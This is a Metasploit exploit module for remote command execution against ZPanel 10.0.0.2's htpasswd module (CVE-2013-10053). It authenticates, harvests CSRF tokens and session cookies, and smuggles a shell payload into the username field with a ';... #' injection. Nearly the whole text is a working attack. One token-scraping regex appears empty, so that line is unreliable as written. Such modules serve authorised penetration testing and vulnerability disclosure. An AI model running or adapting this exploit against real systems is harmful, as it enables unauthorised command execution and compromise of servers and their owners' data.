## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution", 'Description' => %q{ This module exploits a vulnerability found in ZPanel's htpasswd module. When creating .htaccess using the htpasswd module, the username field can be used to inject system commands, which is passed on to a system() function for executing the system's htpasswd command. Please note: In order to use this module, you must have a valid account to login to ZPanel. An account part of any of the default groups should suffice, such as: Administrators, Resellers, or Users (Clients). By default, there's already a 'zadmin' user, but the password is randomly generated. }, 'License' => MSF_LICENSE, 'Author' => [ 'shachibista', # Original discovery 'sinn3r' # Metasploit ], 'References' => [ ['CVE', '2013-10053'], ['OSVDB', '94038'], ['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906'], ['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2'] ], 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Targets' => [ [ 'ZPanel 10.0.0.2 on Linux', {} ] ], 'Privileged' => false, 'DisclosureDate' => '2013-06-07', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']), OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ] ) end def check res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) if not res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /This server is running: ZPanel/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def login(base, token, cookie) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'index.php'), 'cookie' => cookie, 'vars_post' => { 'inUsername' => datastore['USERNAME'], 'inPassword' => datastore['PASSWORD'], 'sublogin2' => 'LogIn', 'csfr_token' => token } }) if not res fail_with(Failure::Unknown, "#{peer} - Connection timed out") elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/ fail_with(Failure::NoAccess, "#{peer} - Login failed") end res.get_cookies.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || '' end def get_csfr_info(base, path = 'index.php', cookie = '', vars = {}) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base), 'cookie' => cookie, 'vars_get' => vars }) fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res token = res.body.scan(//).flatten[0] || '' sid = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || '' fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty? return token, sid end def exec(base, token, sid, user_salt_cookie) fake_pass = Rex::Text.rand_text_alpha(5) cookie = "#{sid}; #{user_salt_cookie}" send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base), 'cookie' => cookie, 'vars_get' => { 'module' => 'htpasswd', 'action' => 'CreateHTA' }, 'vars_post' => { 'inAuthName' => 'Restricted+Area', 'inHTUsername' => ";#{payload.encoded} #", 'inHTPassword' => fake_pass, 'inConfirmHTPassword' => fake_pass, 'inPath' => '/', 'csfr_token' => token } }) end def exploit base = target_uri.path token, sid = get_csfr_info(base) vprint_status("Token=#{token}, SID=#{sid}") user_salt_cookie = login(base, token, sid) print_good("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") vars = { 'module' => 'htpasswd', 'selected' => 'Selected', 'path' => '/' } cookie = "#{sid}; #{user_salt_cookie}" token = get_csfr_info(base, '', cookie, vars)[0] vprint_status("Token=#{token}, SID=#{sid}") print_status("Executing payload...") exec(base, token, sid, user_salt_cookie) end end